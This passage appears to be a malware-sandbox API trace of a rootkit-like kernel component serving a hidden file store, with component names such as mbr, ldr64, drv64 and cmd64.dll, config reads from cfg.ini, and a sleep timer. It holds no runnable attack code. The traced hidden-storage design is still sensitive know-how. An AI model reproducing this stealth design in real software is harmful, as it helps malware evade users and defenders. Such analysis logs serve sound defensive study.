KeLeaveCriticalRegion () [0122.587] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.587] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.587] KeEnterCriticalRegion () [0122.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.587] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbb000 [0122.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.587] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.587] IdePortDispatch () returned 0x103 [0122.587] KeWaitForMutexObject () returned 0x0 [0122.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.587] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.587] IdePortDispatch () returned 0x103 [0122.587] KeWaitForMutexObject () returned 0x0 [0122.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.587] KeLeaveCriticalRegion () [0122.587] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.588] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.588] KeEnterCriticalRegion () [0122.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.588] KeLeaveCriticalRegion () [0122.588] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.588] KeEnterCriticalRegion () [0122.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.588] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.588] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc5a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.588] KeLeaveCriticalRegion () [0122.588] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.588] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.588] KeEnterCriticalRegion () [0122.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.588] ExFreePoolWithTag (P=0xfffffa8003bc21a0, Tag=0x0) [0122.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.588] KeLeaveCriticalRegion () [0122.588] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.588] ReleaseMutex (hMutex=0xf0) returned 1 [0122.588] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.588] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.589] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.589] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.589] KeEnterCriticalRegion () [0122.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.589] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.589] IdePortDispatch () returned 0x103 [0122.589] KeWaitForMutexObject () returned 0x0 [0122.589] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.589] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.589] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.589] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.589] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.589] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.589] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.589] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.589] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.589] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.589] KeLeaveCriticalRegion () [0122.589] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.589] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.589] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.589] KeEnterCriticalRegion () [0122.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.589] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.589] IdePortDispatch () returned 0x103 [0122.590] KeWaitForMutexObject () returned 0x0 [0122.590] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.590] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.590] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.590] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.590] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.590] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.590] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.590] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.590] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.590] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.590] KeLeaveCriticalRegion () [0122.590] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.590] ReleaseMutex (hMutex=0x100) returned 1 [0122.590] Sleep (dwMilliseconds=0x2bf20) [0122.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c456df0, dwHighDateTime=0x1d24fa4)) [0122.596] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.596] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.596] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.596] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.597] KeEnterCriticalRegion () [0122.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.597] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.597] IdePortDispatch () returned 0x103 [0122.597] KeWaitForMutexObject () returned 0x0 [0122.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.597] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.597] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.597] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.597] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.597] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd3c0 [0122.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.597] KeLeaveCriticalRegion () [0122.597] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.597] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.597] KeEnterCriticalRegion () [0122.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.597] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.597] KeLeaveCriticalRegion () [0122.597] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.597] KeEnterCriticalRegion () [0122.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.597] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.597] IdePortDispatch () returned 0x103 [0122.597] KeWaitForMutexObject () returned 0x0 [0122.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.598] KeLeaveCriticalRegion () [0122.598] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.598] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.598] KeEnterCriticalRegion () [0122.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.598] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbe000 [0122.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.598] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.598] IdePortDispatch () returned 0x103 [0122.598] KeWaitForMutexObject () returned 0x0 [0122.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.598] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.598] IdePortDispatch () returned 0x103 [0122.598] KeWaitForMutexObject () returned 0x0 [0122.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.598] KeLeaveCriticalRegion () [0122.598] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.599] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.599] KeEnterCriticalRegion () [0122.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.599] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.599] KeLeaveCriticalRegion () [0122.599] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.599] KeEnterCriticalRegion () [0122.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.599] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.599] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc5a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.599] KeLeaveCriticalRegion () [0122.599] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.599] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.599] KeEnterCriticalRegion () [0122.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.599] ExFreePoolWithTag (P=0xfffffa8003bcd3c0, Tag=0x0) [0122.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.599] KeLeaveCriticalRegion () [0122.599] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.599] ReleaseMutex (hMutex=0xf0) returned 1 [0122.599] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.599] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.599] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.599] KeEnterCriticalRegion () [0122.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.599] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.599] IdePortDispatch () returned 0x103 [0122.600] KeWaitForMutexObject () returned 0x0 [0122.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.600] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.600] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.600] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.600] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.600] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5cf0 [0122.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.600] KeLeaveCriticalRegion () [0122.600] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.600] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.600] KeEnterCriticalRegion () [0122.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.600] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.600] KeLeaveCriticalRegion () [0122.600] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.600] KeEnterCriticalRegion () [0122.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.600] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.600] IdePortDispatch () returned 0x103 [0122.600] KeWaitForMutexObject () returned 0x0 [0122.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.600] KeLeaveCriticalRegion () [0122.600] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.601] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.601] KeEnterCriticalRegion () [0122.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbf000 [0122.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.601] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.601] IdePortDispatch () returned 0x103 [0122.601] KeWaitForMutexObject () returned 0x0 [0122.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.601] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.601] IdePortDispatch () returned 0x103 [0122.601] KeWaitForMutexObject () returned 0x0 [0122.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.601] KeLeaveCriticalRegion () [0122.601] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.602] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.602] KeEnterCriticalRegion () [0122.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.602] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.602] KeLeaveCriticalRegion () [0122.602] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.602] KeEnterCriticalRegion () [0122.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.602] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.602] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.602] KeLeaveCriticalRegion () [0122.602] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.602] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.602] KeEnterCriticalRegion () [0122.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.602] ExFreePoolWithTag (P=0xfffffa8003be5cf0, Tag=0x0) [0122.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.602] KeLeaveCriticalRegion () [0122.602] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.602] ReleaseMutex (hMutex=0xf0) returned 1 [0122.602] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.602] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.602] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.602] KeEnterCriticalRegion () [0122.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.602] IoAllocateIrp (StackSize=1, 